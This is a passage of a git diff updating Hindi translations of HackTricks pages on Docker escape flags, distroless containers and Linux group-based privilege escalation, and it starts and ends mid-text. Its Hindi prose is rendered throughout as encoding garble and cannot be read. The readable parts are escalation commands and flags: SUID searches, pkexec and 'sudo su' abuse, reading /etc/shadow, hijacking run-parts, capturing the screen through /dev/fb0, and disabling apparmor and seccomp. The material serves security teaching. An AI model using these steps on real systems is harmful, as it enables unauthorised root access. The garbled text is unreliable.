рдХреЗ рд▓рд┐рдП рдЖрдорддреМрд░ рдкрд░ `/dev/shm`, `/run`, `/proc`, `/sys/fs/cgroup` рдФрд░ `/var/lib/lxcfs` suid рдмрд┐рдЯ рдХрд╛ рд╕рдорд░реНрдерди рдирд╣реАрдВ рдХрд░рддреЗ рд╣реИрдВред > -> рдпрд╣ рднреА рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдпрджрд┐ рдЖрдк **`/etc`** рдпрд╛ рдХрд┐рд╕реА рдЕрдиреНрдп рдлрд╝реЛрд▓реНрдбрд░ рдХреЛ **рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдлрд╝рд╛рдЗрд▓реЛрдВ** рдХреЗ рд╕рд╛рде рдорд╛рдЙрдВрдЯ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рддреЛ рдЖрдк рдЙрдиреНрд╣реЗрдВ рд░реВрдЯ рдХреЗ рд░реВрдк рдореЗрдВ рдбреЙрдХрд░ рдХрдВрдЯреЗрдирд░ рд╕реЗ рдмрджрд▓ рд╕рдХрддреЗ рд╣реИрдВ рддрд╛рдХрд┐ рдЖрдк **рд╣реЛрд╕реНрдЯ рдореЗрдВ рдЙрдирдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░ рд╕рдХреЗрдВ** рдФрд░ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдмрдврд╝рд╛ рд╕рдХреЗрдВ (рд╢рд╛рдпрдж `/etc/shadow` рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░рдХреЗ)ред +> рдпрд╣ рднреА рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдпрджрд┐ рдЖрдк **`/etc`** рдпрд╛ рдХрд┐рд╕реА рдЕрдиреНрдп рдлрд╝реЛрд▓реНрдбрд░ рдХреЛ **рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдлрд╝рд╛рдЗрд▓реЛрдВ** рдХреЗ рд╕рд╛рде **рдорд╛рдЙрдВрдЯ** рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рддреЛ рдЖрдк рдЙрдиреНрд╣реЗрдВ рдХрдВрдЯреЗрдирд░ рд╕реЗ рд░реВрдЯ рдХреЗ рд░реВрдк рдореЗрдВ рдмрджрд▓ рд╕рдХрддреЗ рд╣реИрдВ рддрд╛рдХрд┐ рдЖрдк **рд╣реЛрд╕реНрдЯ рдореЗрдВ рдЙрдирдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ** рдХрд░ рд╕рдХреЗрдВ рдФрд░ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдмрдврд╝рд╛ рд╕рдХреЗрдВ (рд╢рд╛рдпрдж `/etc/shadow` рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░рдХреЗ)ред ### рдХрдВрдЯреЗрдирд░ рд╕реЗ рдмрд╛рд╣рд░ рдирд┐рдХрд▓рдирд╛ - **`--privileged`** -> рдЗрд╕ рдлреНрд▓реИрдЧ рдХреЗ рд╕рд╛рде рдЖрдк [рдХрдВрдЯреЗрдирд░ рд╕реЗ рд╕рднреА рдЕрд▓рдЧрд╛рд╡ рд╣рдЯрд╛ рджреЗрддреЗ рд╣реИрдВ](docker-privileged.md#what-affects)ред [рд░реВрдЯ рдХреЗ рд░реВрдк рдореЗрдВ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдкреНрд░рд╛рдкреНрдд рдХрдВрдЯреЗрдирд░реЛрдВ рд╕реЗ рдмрд╛рд╣рд░ рдирд┐рдХрд▓рдиреЗ рдХреА рддрдХрдиреАрдХреЛрдВ](docker-breakout-privilege-escalation/index.html#automatic-enumeration-and-escape) рдХреА рдЬрд╛рдВрдЪ рдХрд░реЗрдВред -- **`--cap-add= [--security-opt apparmor=unconfined] [--security-opt seccomp=unconfined] [-security-opt label:disable]`** -> [рдХреНрд╖рдорддрд╛рдУрдВ рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдХреЗ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдмрдврд╝рд╛рдиреЗ рдХреЗ рд▓рд┐рдП](../linux-capabilities.md), **рдЙрд╕ рдХреНрд╖рдорддрд╛ рдХреЛ рдХрдВрдЯреЗрдирд░ рдХреЛ рджреЗрдВ** рдФрд░ рдЕрдиреНрдп рд╕реБрд░рдХреНрд╖рд╛ рд╡рд┐рдзрд┐рдпреЛрдВ рдХреЛ рдирд┐рд╖реНрдХреНрд░рд┐рдп рдХрд░реЗрдВ рдЬреЛ рд╢реЛрд╖рдг рдХреЛ рдХрд╛рдо рдХрд░рдиреЗ рд╕реЗ рд░реЛрдХ рд╕рдХрддреА рд╣реИрдВред +- **`--cap-add= [--security-opt apparmor=unconfined] [--security-opt seccomp=unconfined] [-security-opt label:disable]`** -> [рдХреНрд╖рдорддрд╛рдУрдВ рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдХреЗ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдмрдврд╝рд╛рдиреЗ](../linux-capabilities.md) рдХреЗ рд▓рд┐рдП, **рдЙрд╕ рдХреНрд╖рдорддрд╛ рдХреЛ рдХрдВрдЯреЗрдирд░ рдХреЛ рджреЗрдВ** рдФрд░ рдЕрдиреНрдп рд╕реБрд░рдХреНрд╖рд╛ рд╡рд┐рдзрд┐рдпреЛрдВ рдХреЛ рдирд┐рд╖реНрдХреНрд░рд┐рдп рдХрд░реЗрдВ рдЬреЛ рд╢реЛрд╖рдг рдХреЛ рдХрд╛рдо рдХрд░рдиреЗ рд╕реЗ рд░реЛрдХ рд╕рдХрддреА рд╣реИрдВред ### рдХрд░реНрд▓ -рдЗрд╕ рдкреГрд╖реНрда рдкрд░ рд╣рдордиреЗ рдбреЙрдХрд░ рдлреНрд▓реИрдЧреНрд╕ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдмрдврд╝рд╛рдиреЗ рдХреЗ рддрд░реАрдХреЛрдВ рдкрд░ рдЪрд░реНрдЪрд╛ рдХреА рд╣реИ, рдЖрдк рдкреГрд╖реНрда рдореЗрдВ **рдХрд░реНрд▓** рдХрдорд╛рдВрдб рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЗрди рддрд░реАрдХреЛрдВ рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреЗ **рддрд░реАрдХреЗ** рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВ: +рдЗрд╕ рдкреГрд╖реНрда рдкрд░ рд╣рдордиреЗ docker рдлреНрд▓реИрдЧреНрд╕ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдмрдврд╝рд╛рдиреЗ рдХреЗ рддрд░реАрдХреЛрдВ рдкрд░ рдЪрд░реНрдЪрд╛ рдХреА рд╣реИ, рдЖрдк рдкреГрд╖реНрда рдореЗрдВ **рдХрд░реНрд▓** рдХрдорд╛рдВрдб рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЗрди рддрд░реАрдХреЛрдВ рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреЗ **рддрд░реАрдХреЗ** рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВ: {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/docker-security/weaponizing-distroless.md b/src/linux-hardening/privilege-escalation/docker-security/weaponizing-distroless.md index 4b6a1167b..203624f30 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/weaponizing-distroless.md +++ b/src/linux-hardening/privilege-escalation/docker-security/weaponizing-distroless.md @@ -4,9 +4,9 @@ ## What is Distroless -рдПрдХ distroless рдХрдВрдЯреЗрдирд░ рдПрдХ рдкреНрд░рдХрд╛рд░ рдХрд╛ рдХрдВрдЯреЗрдирд░ рд╣реИ рдЬреЛ **рд╡рд┐рд╢рд┐рд╖реНрдЯ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреЛ рдЪрд▓рд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдХреЗрд╡рд▓ рдЖрд╡рд╢реНрдпрдХ рдирд┐рд░реНрднрд░рддрд╛рдПрдБ** рд░рдЦрддрд╛ рд╣реИ, рдмрд┐рдирд╛ рдХрд┐рд╕реА рдЕрддрд┐рд░рд┐рдХреНрдд рд╕реЙрдлрд╝реНрдЯрд╡реЗрдпрд░ рдпрд╛ рдЙрдкрдХрд░рдгреЛрдВ рдХреЗ рдЬреЛ рдЖрд╡рд╢реНрдпрдХ рдирд╣реАрдВ рд╣реИрдВред рдпреЗ рдХрдВрдЯреЗрдирд░ **рд╣рд▓реНрдХреЗ** рдФрд░ **рд╕реБрд░рдХреНрд╖рд┐рдд** рд╣реЛрдиреЗ рдХреЗ рд▓рд┐рдП рдбрд┐рдЬрд╝рд╛рдЗрди рдХрд┐рдП рдЧрдП рд╣реИрдВ, рдФрд░ рд╡реЗ **рд╣рдорд▓реЗ рдХреА рд╕рддрд╣ рдХреЛ рдХрдо рдХрд░рдиреЗ** рдХрд╛ рд▓рдХреНрд╖реНрдп рд░рдЦрддреЗ рд╣реИрдВ, рдЕрдирд╛рд╡рд╢реНрдпрдХ рдШрдЯрдХреЛрдВ рдХреЛ рд╣рдЯрд╛ рдХрд░ред +рдПрдХ distroless рдХрдВрдЯреЗрдирд░ рдПрдХ рдкреНрд░рдХрд╛рд░ рдХрд╛ рдХрдВрдЯреЗрдирд░ рд╣реИ рдЬреЛ **рд╡рд┐рд╢рд┐рд╖реНрдЯ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреЛ рдЪрд▓рд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрд╡рд╢реНрдпрдХ рдирд┐рд░реНрднрд░рддрд╛рдУрдВ** рдХреЛ рд╣реА **рд╢рд╛рдорд┐рд▓ рдХрд░рддрд╛ рд╣реИ**, рдмрд┐рдирд╛ рдХрд┐рд╕реА рдЕрддрд┐рд░рд┐рдХреНрдд рд╕реЙрдлрд╝реНрдЯрд╡реЗрдпрд░ рдпрд╛ рдЙрдкрдХрд░рдгреЛрдВ рдХреЗ рдЬреЛ рдЖрд╡рд╢реНрдпрдХ рдирд╣реАрдВ рд╣реИрдВред рдпреЗ рдХрдВрдЯреЗрдирд░ **рд╣рд▓реНрдХреЗ** рдФрд░ **рд╕реБрд░рдХреНрд╖рд┐рдд** рд╣реЛрдиреЗ рдХреЗ рд▓рд┐рдП рдбрд┐рдЬрд╝рд╛рдЗрди рдХрд┐рдП рдЧрдП рд╣реИрдВ, рдФрд░ рдЗрдирдХрд╛ рдЙрджреНрджреЗрд╢реНрдп **рд╣рдорд▓реЗ рдХреА рд╕рддрд╣ рдХреЛ рдХрдо рдХрд░рдирд╛** рд╣реИ, рдХрд┐рд╕реА рднреА рдЕрдирд╛рд╡рд╢реНрдпрдХ рдШрдЯрдХреЛрдВ рдХреЛ рд╣рдЯрд╛рдХрд░ред -Distroless рдХрдВрдЯреЗрдирд░ рдЕрдХреНрд╕рд░ **рдЙрддреНрдкрд╛рджрди рд╡рд╛рддрд╛рд╡рд░рдг рдореЗрдВ рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдЬрд╛рддреЗ рд╣реИрдВ рдЬрд╣рд╛рдБ рд╕реБрд░рдХреНрд╖рд╛ рдФрд░ рд╡рд┐рд╢реНрд╡рд╕рдиреАрдпрддрд╛ рд╕рд░реНрд╡реЛрдкрд░рд┐ рд╣реИрдВ**ред +Distroless рдХрдВрдЯреЗрдирд░ рдЕрдХреНрд╕рд░ **рдЙрддреНрдкрд╛рджрди рд╡рд╛рддрд╛рд╡рд░рдг рдореЗрдВ рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдЬрд╛рддреЗ рд╣реИрдВ рдЬрд╣рд╛рдВ рд╕реБрд░рдХреНрд╖рд╛ рдФрд░ рд╡рд┐рд╢реНрд╡рд╕рдиреАрдпрддрд╛ рд╕рд░реНрд╡реЛрдкрд░рд┐ рд╣реИрдВ**ред рдХреБрдЫ **рдЙрджрд╛рд╣рд░рдг** **distroless рдХрдВрдЯреЗрдирд░реЛрдВ** рдХреЗ рд╣реИрдВ: @@ -25,6 +25,6 @@ Distroless рдХрдВрдЯреЗрдирд░ рдЕрдХреНрд╕рд░ **рдЙрддреНрдкрд╛рджрди рд╡рд╛рдд #### openssl -\***\*[**рдЗрд╕ рдкреЛрд╕реНрдЯ рдореЗрдВ,**](https://www.form3.tech/engineering/content/exploiting-distroless-images) рдпрд╣ рдмрддрд╛рдпрд╛ рдЧрдпрд╛ рд╣реИ рдХрд┐ рдмрд╛рдЗрдирд░реА **`openssl`** рдЕрдХреНрд╕рд░ рдЗрди рдХрдВрдЯреЗрдирд░реЛрдВ рдореЗрдВ рдкрд╛рдИ рдЬрд╛рддреА рд╣реИ, рд╕рдВрднрд╡рддрдГ рдХреНрдпреЛрдВрдХрд┐ рдпрд╣ **рд╕реЙрдлрд╝реНрдЯрд╡реЗрдпрд░ рджреНрд╡рд╛рд░рд╛ рдЖрд╡рд╢реНрдпрдХ рд╣реИ** рдЬреЛ рдХрдВрдЯреЗрдирд░ рдХреЗ рдЕрдВрджрд░ рдЪрд▓рдиреЗ рд╡рд╛рд▓рд╛ рд╣реИред +\***\*[**рдЗрд╕ рдкреЛрд╕реНрдЯ рдореЗрдВ,**](https://www.form3.tech/engineering/content/exploiting-distroless-images) рдпрд╣ рдмрддрд╛рдпрд╛ рдЧрдпрд╛ рд╣реИ рдХрд┐ рдмрд╛рдЗрдирд░реА **`openssl`** рдЕрдХреНрд╕рд░ рдЗрди рдХрдВрдЯреЗрдирд░реЛрдВ рдореЗрдВ рдкрд╛рдИ рдЬрд╛рддреА рд╣реИ, рд╕рдВрднрд╡рддрдГ рдХреНрдпреЛрдВрдХрд┐ рдпрд╣ рдЙрд╕ рд╕реЙрдлрд╝реНрдЯрд╡реЗрдпрд░ рджреНрд╡рд╛рд░рд╛ **рдЖрд╡рд╢реНрдпрдХ** рд╣реИ рдЬреЛ рдХрдВрдЯреЗрдирд░ рдХреЗ рдЕрдВрджрд░ рдЪрд▓рдиреЗ рд╡рд╛рд▓рд╛ рд╣реИред {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/interesting-groups-linux-pe/README.md b/src/linux-hardening/privilege-escalation/interesting-groups-linux-pe/README.md index 1f9c8cd91..a42f5936a 100644 --- a/src/linux-hardening/privilege-escalation/interesting-groups-linux-pe/README.md +++ b/src/linux-hardening/privilege-escalation/interesting-groups-linux-pe/README.md @@ -27,11 +27,11 @@ sudo su find / -perm -4000 2>/dev/null ``` рдпрджрд┐ рдЖрдк рдкрд╛рддреЗ рд╣реИрдВ рдХрд┐ рдмрд╛рдЗрдирд░реА **pkexec рдПрдХ SUID рдмрд╛рдЗрдирд░реА рд╣реИ** рдФрд░ рдЖрдк **sudo** рдпрд╛ **admin** рд╕рдореВрд╣ рдореЗрдВ рд╣реИрдВ, рддреЛ рдЖрдк рд╕рдВрднрд╡рддрдГ `pkexec` рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдмрд╛рдЗрдирд░реА рдХреЛ sudo рдХреЗ рд░реВрдк рдореЗрдВ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред\ -рдпрд╣ рдЗрд╕рд▓рд┐рдП рд╣реИ рдХреНрдпреЛрдВрдХрд┐ рдЖрдорддреМрд░ рдкрд░ рдпреЗ **polkit рдиреАрддрд┐** рдХреЗ рдЕрдВрджрд░ рд╕рдореВрд╣ рд╣реЛрддреЗ рд╣реИрдВред рдпрд╣ рдиреАрддрд┐ рдореВрд▓ рд░реВрдк рд╕реЗ рдкрд╣рдЪрд╛рдирддреА рд╣реИ рдХрд┐ рдХреМрди рд╕реЗ рд╕рдореВрд╣ `pkexec` рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдЗрд╕реЗ рдЬрд╛рдВрдЪреЗрдВ: +рдпрд╣ рдЗрд╕рд▓рд┐рдП рд╣реИ рдХреНрдпреЛрдВрдХрд┐ рдЖрдорддреМрд░ рдкрд░ рдпреЗ **polkit рдиреАрддрд┐** рдХреЗ рднреАрддрд░ рд╕рдореВрд╣ рд╣реЛрддреЗ рд╣реИрдВред рдпрд╣ рдиреАрддрд┐ рдореВрд▓ рд░реВрдк рд╕реЗ рдкрд╣рдЪрд╛рдирддреА рд╣реИ рдХрд┐ рдХреМрди рд╕реЗ рд╕рдореВрд╣ `pkexec` рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдЗрд╕реЗ рдЬрд╛рдВрдЪреЗрдВ: ```bash cat /etc/polkit-1/localauthority.conf.d/* ``` -рд╡рд╣рд╛рдБ рдЖрдк рдкрд╛рдПрдВрдЧреЗ рдХрд┐ рдХреМрди рд╕реЗ рд╕рдореВрд╣ **pkexec** рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рд░рдЦрддреЗ рд╣реИрдВ рдФрд░ **рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ** рдХреБрдЫ рд▓рд┐рдирдХреНрд╕ рд╡рд┐рддрд░рдгреЛрдВ рдореЗрдВ рд╕рдореВрд╣ **sudo** рдФрд░ **admin** рдкреНрд░рдХрдЯ рд╣реЛрддреЗ рд╣реИрдВред +рд╡рд╣рд╛рдБ рдЖрдк рдкрд╛рдПрдВрдЧреЗ рдХрд┐ рдХреМрди рд╕реЗ рд╕рдореВрд╣ **pkexec** рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рд░рдЦрддреЗ рд╣реИрдВ рдФрд░ **рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ** рдХреБрдЫ рд▓рд┐рдирдХреНрд╕ рд╡рд┐рддрд░рдгреЛрдВ рдореЗрдВ рд╕рдореВрд╣ **sudo** рдФрд░ **admin** рджрд┐рдЦрд╛рдИ рджреЗрддреЗ рд╣реИрдВред **рд░реВрдЯ рдмрдирдиреЗ рдХреЗ рд▓рд┐рдП рдЖрдк рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ**: ```bash @@ -60,7 +60,7 @@ pkttyagent --process #Step 2, attach pkttyagent to session1 ``` %wheel ALL=(ALL:ALL) ALL ``` -рдЗрд╕рдХрд╛ рдорддрд▓рдм рд╣реИ рдХрд┐ **рдХреЛрдИ рднреА рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЬреЛ рд╡реНрд╣реАрд▓ рд╕рдореВрд╣ рдХрд╛ рд╕рджрд╕реНрдп рд╣реИ, рд╡рд╣ рдХреБрдЫ рднреА sudo рдХреЗ рд░реВрдк рдореЗрдВ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░ рд╕рдХрддрд╛ рд╣реИ**ред +рдЗрд╕рдХрд╛ рдорддрд▓рдм рд╣реИ рдХрд┐ **рдХреЛрдИ рднреА рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЬреЛ рд╡реНрд╣реАрд▓ рд╕рдореВрд╣ рдХрд╛ рд╕рджрд╕реНрдп рд╣реИ, рд╡рд╣ sudo рдХреЗ рд░реВрдк рдореЗрдВ рдХреБрдЫ рднреА рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░ рд╕рдХрддрд╛ рд╣реИ**ред рдпрджрд┐ рдРрд╕рд╛ рд╣реИ, рддреЛ **рд░реВрдЯ рдмрдирдиреЗ рдХреЗ рд▓рд┐рдП рдЖрдк рдмрд╕ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ**: ``` @@ -68,7 +68,7 @@ sudo su ``` ## Shadow Group -**group shadow** рдХреЗ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ **/etc/shadow** рдлрд╝рд╛рдЗрд▓ рдХреЛ **рдкрдврд╝** рд╕рдХрддреЗ рд╣реИрдВ: +**рд╢реИрдбреЛ** рд╕рдореВрд╣ рдХреЗ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ **/etc/shadow** рдлрд╝рд╛рдЗрд▓ рдХреЛ **рдкрдврд╝** рд╕рдХрддреЗ рд╣реИрдВ: ``` -rw-r----- 1 root shadow 1824 Apr 26 19:10 /etc/shadow ``` @@ -86,9 +86,9 @@ $ echo $PATH # echo $PATH /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin ``` -рдпрджрд┐ рд╣рдо `/usr/local` рдореЗрдВ рдХреБрдЫ рдкреНрд░реЛрдЧреНрд░рд╛рдореЛрдВ рдХреЛ рд╣рд╛рдИрдЬреИрдХ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рддреЛ рд╣рдо рдЖрд╕рд╛рдиреА рд╕реЗ рд░реВрдЯ рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред +рдпрджрд┐ рд╣рдо `/usr/local` рдореЗрдВ рдХреБрдЫ рдкреНрд░реЛрдЧреНрд░рд╛рдо рдХреЛ рд╣рд╛рдИрдЬреИрдХ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рддреЛ рд╣рдо рдЖрд╕рд╛рдиреА рд╕реЗ рд░реВрдЯ рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред -`run-parts` рдкреНрд░реЛрдЧреНрд░рд╛рдо рдХреЛ рд╣рд╛рдИрдЬреИрдХ рдХрд░рдирд╛ рд░реВрдЯ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХрд╛ рдПрдХ рдЖрд╕рд╛рди рддрд░реАрдХрд╛ рд╣реИ, рдХреНрдпреЛрдВрдХрд┐ рдЕрдзрд┐рдХрд╛рдВрд╢ рдкреНрд░реЛрдЧреНрд░рд╛рдо `run-parts` рдХреЛ рдЪрд▓рд╛рдПрдВрдЧреЗ рдЬреИрд╕реЗ (рдХреНрд░реЙрдирдЯреИрдм, рдЬрдм ssh рд▓реЙрдЧрд┐рди рд╣реЛрддрд╛ рд╣реИ)ред +`run-parts` рдкреНрд░реЛрдЧреНрд░рд╛рдо рдХреЛ рд╣рд╛рдИрдЬреИрдХ рдХрд░рдирд╛ рд░реВрдЯ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХрд╛ рдПрдХ рдЖрд╕рд╛рди рддрд░реАрдХрд╛ рд╣реИ, рдХреНрдпреЛрдВрдХрд┐ рдЕрдзрд┐рдХрд╛рдВрд╢ рдкреНрд░реЛрдЧреНрд░рд╛рдо `run-parts` рдХреЛ рдЪрд▓рд╛рдПрдВрдЧреЗ рдЬреИрд╕реЗ (рдХреНрд░реЙрдирдЯреИрдм, рдЬрдм SSH рд▓реЙрдЧрд┐рди рд╣реЛрддрд╛ рд╣реИ)ред ```bash $ cat /etc/crontab | grep run-parts 17 * * * * root cd / && run-parts --report /etc/cron.hourly @@ -158,7 +158,7 @@ moshe pts/1 10.10.14.44 02:53 24:07 0.06s 0.06s /bin/bash ``` **tty1** рдХрд╛ рдорддрд▓рдм рд╣реИ рдХрд┐ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ **yossi рд╢рд╛рд░реАрд░рд┐рдХ рд░реВрдк рд╕реЗ** рдорд╢реАрди рдкрд░ рдПрдХ рдЯрд░реНрдорд┐рдирд▓ рдореЗрдВ рд▓реЙрдЧ рдЗрди рд╣реИред -**video group** рдХреЛ рд╕реНрдХреНрд░реАрди рдЖрдЙрдЯрдкреБрдЯ рджреЗрдЦрдиреЗ рдХрд╛ рдЕрдзрд┐рдХрд╛рд░ рд╣реИред рдореВрд▓ рд░реВрдк рд╕реЗ рдЖрдк рд╕реНрдХреНрд░реАрди рдХреЛ рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВред рдРрд╕рд╛ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдЖрдкрдХреЛ **рд╕реНрдХреНрд░реАрди рдкрд░ рд╡рд░реНрддрдорд╛рди рдЫрд╡рд┐ рдХреЛ** рдХрдЪреНрдЪреЗ рдбреЗрдЯрд╛ рдореЗрдВ рдкреНрд░рд╛рдкреНрдд рдХрд░рдирд╛ рд╣реЛрдЧрд╛ рдФрд░ рдпрд╣ рдЬрд╛рдирдирд╛ рд╣реЛрдЧрд╛ рдХрд┐ рд╕реНрдХреНрд░реАрди рдХрд┐рд╕ рд░рд┐рдЬрд╝реЙрд▓реНрдпреВрд╢рди рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд░рд╣реА рд╣реИред рд╕реНрдХреНрд░реАрди рдбреЗрдЯрд╛ рдХреЛ `/dev/fb0` рдореЗрдВ рд╕рд╣реЗрдЬрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рдФрд░ рдЖрдк рдЗрд╕ рд╕реНрдХреНрд░реАрди рдХрд╛ рд░рд┐рдЬрд╝реЙрд▓реНрдпреВрд╢рди `/sys/class/graphics/fb0/virtual_size` рдкрд░ рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВред +**video group** рдХреЛ рд╕реНрдХреНрд░реАрди рдЖрдЙрдЯрдкреБрдЯ рджреЗрдЦрдиреЗ рдХрд╛ рдЕрдзрд┐рдХрд╛рд░ рд╣реИред рдореВрд▓ рд░реВрдк рд╕реЗ, рдЖрдк рд╕реНрдХреНрд░реАрди рдХреЛ рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВред рдРрд╕рд╛ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдЖрдкрдХреЛ **рд╕реНрдХреНрд░реАрди рдкрд░ рд╡рд░реНрддрдорд╛рди рдЫрд╡рд┐ рдХреЛ** рдХрдЪреНрдЪреЗ рдбреЗрдЯрд╛ рдореЗрдВ рдкреНрд░рд╛рдкреНрдд рдХрд░рдирд╛ рд╣реЛрдЧрд╛ рдФрд░ рдпрд╣ рдЬрд╛рдирдирд╛ рд╣реЛрдЧрд╛ рдХрд┐ рд╕реНрдХреНрд░реАрди рдХрд┐рд╕ рд░рд┐рдЬрд╝реЙрд▓реНрдпреВрд╢рди рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд░рд╣реА рд╣реИред рд╕реНрдХреНрд░реАрди рдбреЗрдЯрд╛ рдХреЛ `/dev/fb0` рдореЗрдВ рд╕рд╣реЗрдЬрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рдФрд░ рдЖрдк рдЗрд╕ рд╕реНрдХреНрд░реАрди рдХрд╛ рд░рд┐рдЬрд╝реЙрд▓реНрдпреВрд╢рди `/sys/class/graphics/fb0/virtual_size` рдкрд░ рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВред ```bash cat /dev/fb0 > /tmp/screen.raw cat /sys/class/graphics/fb0/virtual_size @@ -167,7 +167,7 @@ cat /sys/class/graphics/fb0/virtual_size ![](<../../../images/image (463).png>) -рдлрд┐рд░ рдЪреМрдбрд╝рд╛рдИ рдФрд░ рдКрдБрдЪрд╛рдИ рдХреЛ рд╕реНрдХреНрд░реАрди рдкрд░ рдЙрдкрдпреЛрдЧ рдХреА рдЧрдИ рдорд╛рдкреЛрдВ рдХреЗ рдЕрдиреБрд╕рд╛рд░ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░реЗрдВ рдФрд░ рд╡рд┐рднрд┐рдиреНрди рдЫрд╡рд┐ рдкреНрд░рдХрд╛рд░реЛрдВ рдХреА рдЬрд╛рдВрдЪ рдХрд░реЗрдВ (рдФрд░ рдЙрд╕ рдкреНрд░рдХрд╛рд░ рдХрд╛ рдЪрдпрди рдХрд░реЗрдВ рдЬреЛ рд╕реНрдХреНрд░реАрди рдХреЛ рдмреЗрд╣рддрд░ рджрд┐рдЦрд╛рддрд╛ рд╣реИ): +рдлрд┐рд░ рдЪреМрдбрд╝рд╛рдИ рдФрд░ рдКрдБрдЪрд╛рдИ рдХреЛ рд╕реНрдХреНрд░реАрди рдкрд░ рдЙрдкрдпреЛрдЧ рдХреА рдЧрдИ рдорд╛рдкреЛрдВ рдореЗрдВ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░реЗрдВ рдФрд░ рд╡рд┐рднрд┐рдиреНрди рдЫрд╡рд┐ рдкреНрд░рдХрд╛рд░реЛрдВ рдХреА рдЬрд╛рдВрдЪ рдХрд░реЗрдВ (рдФрд░ рдЙрд╕ рдкреНрд░рдХрд╛рд░ рдХрд╛ рдЪрдпрди рдХрд░реЗрдВ рдЬреЛ рд╕реНрдХреНрд░реАрди рдХреЛ рдмреЗрд╣рддрд░ рджрд┐рдЦрд╛рддрд╛ рд╣реИ): ![](<../../../images/image (317).png>) @@ -181,7 +181,7 @@ find / -group root -perm -g=w 2>/dev/null ``` ## Docker Group -рдЖрдк **рд╣реЛрд╕реНрдЯ рдорд╢реАрди рдХреЗ рд░реВрдЯ рдлрд╝рд╛рдЗрд▓ 